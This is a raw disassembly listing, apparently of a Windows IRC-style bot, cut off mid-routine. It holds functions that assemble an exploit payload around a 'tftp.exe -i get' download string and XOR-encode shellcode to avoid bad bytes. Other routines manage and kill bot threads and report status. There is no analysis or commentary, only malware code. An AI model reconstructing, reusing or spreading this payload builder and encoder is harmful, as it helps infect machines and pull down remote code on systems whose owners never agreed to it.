var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_414B42
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_414B7F
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_414B7F:				; CODE XREF: sub_414B62+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_415B10
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_415B10
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_437E24, eax
		lea	eax, [edi+1]
		mov	dword_437E45, eax
		lea	eax, [edi+17h]
		mov	dword_437E3D, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437DC0
		push	ebx
		mov	dword_437E53, eax
		call	sub_4153F0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4153F0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4153F0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4153F0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4153F0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4153F0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_437E49
		push	esi
		call	sub_4153F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414B62	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C3A	proc near		; CODE XREF: sub_414C51+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414B42
		push	eax
		call	sub_414CBE
		add	esp, 0Ch
		retn
sub_414C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C51	proc near		; CODE XREF: sub_403166+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_414C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_414C71
		cmp	eax, 0FFFFh
		jbe	short loc_414C75


loc_414C71:				; CODE XREF: sub_414C51+17j
		xor	eax, eax
		jmp	short loc_414CBA
; ---------------------------------------------------------------------------


loc_414C75:				; CODE XREF: sub_414C51+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_414B42
		add	eax, 101h
		push	eax
		call	sub_415BE9
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_414B42
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_414B62
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414CD9
		push	esi
		mov	edi, eax
		call	sub_415C9B
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_414CBA:				; CODE XREF: sub_414C51+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_414C51	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CBE	proc near		; CODE XREF: sub_414C3A+Ep
					; sub_414CD9+47p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_414CC7
		inc	ecx


loc_414CC7:				; CODE XREF: sub_414CBE+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_414CBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CD9	proc near		; CODE XREF: sub_414C51+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_C]
		cmp	dl, 0Ah
		jz	short loc_414CF3
		cmp	dl, 0Dh
		jz	short loc_414CF3
		cmp	dl, 5Ch
		jz	short loc_414CF3
		test	dl, dl
		jnz	short loc_414CF7


loc_414CF3:				; CODE XREF: sub_414CD9+Aj
					; sub_414CD9+Fj ...
		inc	edx
		mov	[ebp+arg_C], edx


loc_414CF7:				; CODE XREF: sub_414CD9+18j
		push	esi
		mov	esi, 0FFh
		cmp	edx, esi
		jbe	short loc_414D1F
		mov	eax, edx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_414D16
		cmp	al, 0Dh
		jz	short loc_414D16
		cmp	al, 5Ch
		jz	short loc_414D16
		test	al, al
		jnz	short loc_414D1F


loc_414D16:				; CODE XREF: sub_414CD9+2Fj
					; sub_414CD9+33j ...
		add	edx, 100h
		mov	[ebp+arg_C], edx


loc_414D1F:				; CODE XREF: sub_414CD9+26j
					; sub_414CD9+3Bj
		push	edx
		call	sub_414CBE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_414D35
		cmp	eax, 0FFFFh
		jbe	short loc_414D3C


loc_414D35:				; CODE XREF: sub_414CD9+53j
		xor	eax, eax
		jmp	loc_414DD7
; ---------------------------------------------------------------------------


loc_414D3C:				; CODE XREF: sub_414CD9+5Aj
		push	ebx
		mov	bl, byte_46B608
		xor	ecx, ecx
		push	edi
		mov	edi, [ebp+arg_8]
		test	edx, edx
		jbe	short loc_414D69


loc_414D4D:				; CODE XREF: sub_414CD9+8Ej
		mov	al, [ecx+edi]
		xor	al, bl
		jz	short loc_414D60
		cmp	al, 0Ah
		jz	short loc_414D60
		cmp	al, 0Dh
		jz	short loc_414D60
		cmp	al, 5Ch
		jnz	short loc_414D64


loc_414D60:				; CODE XREF: sub_414CD9+79j
					; sub_414CD9+7Dj ...
		inc	bl
		xor	ecx, ecx


loc_414D64:				; CODE XREF: sub_414CD9+85j
		inc	ecx
		cmp	ecx, edx
		jb	short loc_414D4D


loc_414D69:				; CODE XREF: sub_414CD9+72j
		cmp	edx, esi
		mov	byte_46B608, bl
		ja	short loc_414D95
		push	15h
		push	offset loc_437DA8
		push	[ebp+arg_0]
		mov	byte_437DB5, dl
		mov	byte_437DB9, bl
		call	sub_4153F0
		add	esp, 0Ch
		push	15h
		jmp	short loc_414DB6
; ---------------------------------------------------------------------------


loc_414D95:				; CODE XREF: sub_414CD9+98j
		push	17h
		push	offset loc_437D90
		push	[ebp+arg_0]
		mov	word_437D9E, dx
		mov	byte_437DA3, bl
		call	sub_4153F0
		add	esp, 0Ch
		push	17h


loc_414DB6:				; CODE XREF: sub_414CD9+BAj
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_414DD2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_414DC4:				; CODE XREF: sub_414CD9+F7j
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_414DC4


loc_414DD2:				; CODE XREF: sub_414CD9+E3j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_414DD7:				; CODE XREF: sub_414CD9+5Ej
		pop	esi
		leave
		retn
sub_414CD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DDA	proc near		; CODE XREF: sub_406048+21Fp
					; sub_4071B6+EDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4414C8


loc_414DE2:				; CODE XREF: sub_414DDA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414DF6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_46A9B8
		jl	short loc_414DE2
		jmp	short loc_414E41
; ---------------------------------------------------------------------------


loc_414DF6:				; CODE XREF: sub_414DDA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4414C8[esi]
		push	eax
		call	sub_416BE0
		mov	eax, [esp+14h+arg_4]
		and	dword_4416CC[esi], 0
		and	dword_4416D0[esi], 0
		mov	dword_4416C8[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_4416E0[esi], 0
		mov	dword_4416D4[esi], eax
		pop	esi


loc_414E41:				; CODE XREF: sub_414DDA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E45	proc near		; DATA XREF: sub_40CD3A+55FDo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_414E97
		push	[ebp+var_14]
		call	sub_4150F0
		add	esp, 14h
		push	0
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_414E45	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E97	proc near		; CODE XREF: sub_414E45+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4414C8


loc_414EC1:				; CODE XREF: sub_414E97+78j
		cmp	byte ptr [esi],	0
		jz	short loc_414F02
		cmp	[ebp+arg_C], 0
		jnz	short loc_414ED5
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_414F02


loc_414ED5:				; CODE XREF: sub_414E97+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 24h


loc_414F02:				; CODE XREF: sub_414E97+2Dj
					; sub_414E97+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_46A9B8
		jl	short loc_414EC1
		pop	edi
		pop	esi
		leave
		retn
sub_414E97	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F15	proc near		; CODE XREF: sub_40CD3A+49B9p
					; sub_414F9D+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_414F97
		cmp	esi, 12Ch
		jge	short loc_414F97
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_4416DC[esi]
		push	dword ptr [edi]
		call	dword_421130	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_414F47
		inc	ebp


loc_414F47:				; CODE XREF: sub_414F15+2Fj
		mov	[edi], ebx
		lea	edi, dword_4416D0[esi]
		mov	dword_4416C8[esi], ebx
		mov	dword_4416CC[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_414F68
		push	eax
		call	sub_413EDB
		pop	ecx


loc_414F68:				; CODE XREF: sub_414F15+4Aj
		mov	[edi], ebx
		lea	edi, dword_4416D4[esi]
		mov	byte ptr dword_4414C8[esi], bl
		mov	byte_4416E0[esi], bl
		push	dword ptr [edi]
		call	dword_43C5EC
		lea	esi, dword_4416D8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43C5EC
		mov	[esi], ebx
		pop	edi


loc_414F97:				; CODE XREF: sub_414F15+Dj
					; sub_414F15+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_414F15	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F9D	proc near		; CODE XREF: sub_409D34:loc_409D58p
					; sub_40C48C+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4414C8


loc_414FA9:				; CODE XREF: sub_414F9D+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_414FBA
		push	edi
		call	sub_414F15
		test	eax, eax
		pop	ecx
		jz	short loc_414FBA
		inc	ebx


loc_414FBA:				; CODE XREF: sub_414F9D+Fj
					; sub_414F9D+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_46A9B8
		jl	short loc_414FA9
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_414F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FCF	proc near		; CODE XREF: sub_40CD3A+1C48p
					; sub_40CD3A+1CB9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4416CC


loc_414FE3:				; CODE XREF: sub_414FCF+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_415005
		test	edi, edi
		jle	short loc_414FF7
		cmp	[esi], edi
		jz	short loc_414FF7
		cmp	ebx, edi
		jnz	short loc_415005


loc_414FF7:				; CODE XREF: sub_414FCF+1Ej
					; sub_414FCF+22j
		push	ebx
		call	sub_414F15
		test	eax, eax
		pop	ecx
		jz	short loc_415005
		inc	[ebp+var_4]


loc_415005:				; CODE XREF: sub_414FCF+1Aj
					; sub_414FCF+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_46ABBC
		jl	short loc_414FE3
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414FCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41501C	proc near		; CODE XREF: sub_40713F+Bp
					; sub_4071B6+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4416C8


loc_415023:				; CODE XREF: sub_41501C+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_41502C
		inc	eax


loc_41502C:				; CODE XREF: sub_41501C+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_46ABB8
		jl	short loc_415023
		retn
sub_41501C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41503B	proc near		; CODE XREF: sub_40CD3A+508Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_4416C8
		push	esi


loc_415045:				; CODE XREF: sub_41503B+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41505E
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_46ABB8
		jl	short loc_415045
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41505E:				; CODE XREF: sub_41503B+10j
		mov	eax, edx
		pop	esi
		retn
sub_41503B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415062	proc near		; CODE XREF: sub_40CD3A+5797p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_41507B
		push	[ebp+arg_1C]
		call	sub_41587F
		pop	ecx


loc_41507B:				; CODE XREF: sub_415062+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_414FCF
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4150A7
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_415316
		add	esp, 14h
		jmp	short loc_4150C1
; ---------------------------------------------------------------------------


loc_4150A7:				; CODE XREF: sub_415062+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_415316
		add	esp, 10h


loc_4150C1:				; CODE XREF: sub_415062+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4150E1
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4150E1:				; CODE XREF: sub_415062+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B078
		pop	ecx
		leave
		retn
sub_415062	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150F0	proc near		; CODE XREF: sub_401000+A2p
					; sub_401444+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_4416DC[eax], ecx
		mov	dword_4416C8[eax], ecx
		mov	dword_4416CC[eax], ecx
		mov	dword_4416D0[eax], ecx
		mov	dword_4416D4[eax], ecx
		mov	dword_4416D8[eax], ecx
		mov	byte ptr dword_4414C8[eax], cl
		mov	byte_4416E0[eax], cl
		retn
sub_4150F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41512D	proc near		; CODE XREF: sub_40CD3A+5B9Bp
					; sub_415255+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_41518F
; ---------------------------------------------------------------------------


loc_415139:				; CODE XREF: sub_41512D+66j
		cmp	eax, 1
		jnz	short loc_4151A0
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_4151A0
		cmp	cl, 2Ah
		jz	short loc_415178
		cmp	cl, 3Fh
		jz	short loc_41515D
		cmp	cl, 5Bh
		jz	short loc_415162
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_41515D:				; CODE XREF: sub_41512D+22j
		inc	[ebp+arg_4]
		jmp	short loc_41518B
; ---------------------------------------------------------------------------


loc_415162:				; CODE XREF: sub_41512D+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_4151C1
		mov	esi, [ebp+arg_0]
		jmp	short loc_415189
; ---------------------------------------------------------------------------


loc_415178:				; CODE XREF: sub_41512D+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_415255
		mov	esi, [ebp+arg_0]
		dec	esi


loc_415189:				; CODE XREF: sub_41512D+49j
		pop	ecx
		pop	ecx


loc_41518B:				; CODE XREF: sub_41512D+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_41518F:				; CODE XREF: sub_41512D+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_415139
		jmp	short loc_4151A0
; ---------------------------------------------------------------------------


loc_415197:				; CODE XREF: sub_41512D+76j
		cmp	eax, 1
		jnz	short loc_4151BC
		inc	esi
		mov	[ebp+arg_0], esi


loc_4151A0:				; CODE XREF: sub_41512D+Fj
					; sub_41512D+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_415197
		cmp	eax, 1
		jnz	short loc_4151BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4151BC
		cmp	byte ptr [esi],	0
		jnz	short loc_4151BC
		xor	eax, eax
		inc	eax
		jmp	short loc_4151BE
; ---------------------------------------------------------------------------


loc_4151BC:				; CODE XREF: sub_41512D+6Dj
					; sub_41512D+7Bj ...
		xor	eax, eax


loc_4151BE:				; CODE XREF: sub_41512D+8Dj
		pop	esi
		pop	ebp
		retn
sub_41512D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151C1	proc near		; CODE XREF: sub_41512D+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4151E2
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_4151E2:				; CODE XREF: sub_4151C1+19j
		push	ebx
		push	esi


loc_4151E4:				; CODE XREF: sub_4151C1+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4151F2
		cmp	[ebp+var_4], eax
		jnz	short loc_41523A


loc_4151F2:				; CODE XREF: sub_4151C1+2Aj
		test	edi, edi
		jnz	short loc_41522F
		cmp	bl, 2Dh
		jnz	short loc_415223
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_415223
		cmp	al, 5Dh
		jz	short loc_415223
		cmp	[ebp+var_4], edi
		jnz	short loc_415223
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_41522F
		cmp	bl, al
		jg	short loc_41522F
		mov	[edx], esi
		jmp	short loc_41522C
; ---------------------------------------------------------------------------


loc_415223:				; CODE XREF: sub_4151C1+38j
					; sub_4151C1+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_41522F


loc_41522C:				; CODE XREF: sub_4151C1+60j
		xor	edi, edi
		inc	edi


loc_41522F:				; CODE XREF: sub_4151C1+33j
					; sub_4151C1+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_4151E4
; ---------------------------------------------------------------------------


loc_41523A:				; CODE XREF: sub_4151C1+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_415247
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_415247:				; CODE XREF: sub_4151C1+7Ej
		cmp	edi, eax
		jnz	short loc_415250
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_415250:				; CODE XREF: sub_4151C1+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_4151C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415255	proc near		; CODE XREF: sub_41512D+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_415285
; ---------------------------------------------------------------------------


loc_41526F:				; CODE XREF: sub_415255+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_415280
		cmp	dl, 2Ah
		jnz	short loc_415292
		cmp	dl, 3Fh
		jnz	short loc_415283


loc_415280:				; CODE XREF: sub_415255+1Fj
		inc	ecx
		mov	[edi], ecx


loc_415283:				; CODE XREF: sub_415255+29j
		inc	dword ptr [esi]


loc_415285:				; CODE XREF: sub_415255+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_41526F
		jmp	short loc_415292
; ---------------------------------------------------------------------------


loc_41528F:				; CODE XREF: sub_415255+40j
		inc	eax
		mov	[esi], eax


loc_415292:				; CODE XREF: sub_415255+24j
					; sub_415255+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_41528F
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_4152B4
		cmp	[eax], bl
		jz	short loc_4152A7
		xor	eax, eax
		jmp	short loc_415311
; ---------------------------------------------------------------------------


loc_4152A7:				; CODE XREF: sub_415255+4Cj
		cmp	dl, bl
		jnz	short loc_4152B4
		cmp	[eax], bl
		jnz	short loc_4152B4
		xor	eax, eax
		inc	eax
		jmp	short loc_415311
; ---------------------------------------------------------------------------


loc_4152B4:				; CODE XREF: sub_415255+48j
					; sub_415255+54j ...
		push	ecx
		push	eax
		call	sub_41512D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4152FB


loc_4152C1:				; CODE XREF: sub_415255+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_4152D3
; ---------------------------------------------------------------------------


loc_4152C7:				; CODE XREF: sub_415255+86j
		cmp	cl, 5Bh
		jz	short loc_4152DD
		cmp	dl, bl
		jz	short loc_4152DD
		inc	eax
		mov	[edi], eax


loc_4152D3:				; CODE XREF: sub_415255+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_4152C7


loc_4152DD:				; CODE XREF: sub_415255+75j
					; sub_415255+79j
		cmp	[eax], bl
		jz	short loc_4152F2
		push	eax
		push	dword ptr [esi]
		call	sub_41512D
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4152F7
; ---------------------------------------------------------------------------


loc_4152F2:				; CODE XREF: sub_415255+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4152F7:				; CODE XREF: sub_415255+9Bj
		cmp	eax, ebx
		jnz	short loc_4152C1


loc_4152FB:				; CODE XREF: sub_415255+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_41530E
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_41530E
		mov	[ebp+var_4], 1


loc_41530E:				; CODE XREF: sub_415255+AAj
					; sub_415255+B0j
		mov	eax, [ebp+var_4]


loc_415311:				; CODE XREF: sub_415255+50j
					; sub_415255+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415255	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415316	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+320p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417D6C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415356
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415363
; ---------------------------------------------------------------------------


loc_415356:				; CODE XREF: sub_415316+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C57
		pop	ecx
		pop	ecx


loc_415363:				; CODE XREF: sub_415316+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415316	endp


; =============== S U B	R O U T	I N E =======================================



sub_415368	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401BD4+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_437ED4, eax
		retn
sub_415368	endp


; =============== S U B	R O U T	I N E =======================================



sub_415372	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_437ED4
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_437ED4, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_415372	endp


; =============== S U B	R O U T	I N E =======================================



sub_415390	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401444+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4153E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4153D7
		neg	ecx
		and	ecx, 3
		jz	short loc_4153B9
		sub	edx, ecx


loc_4153B3:				; CODE XREF: sub_415390+27j
		mov	[edi], al
		inc	edi
		dec	ecx
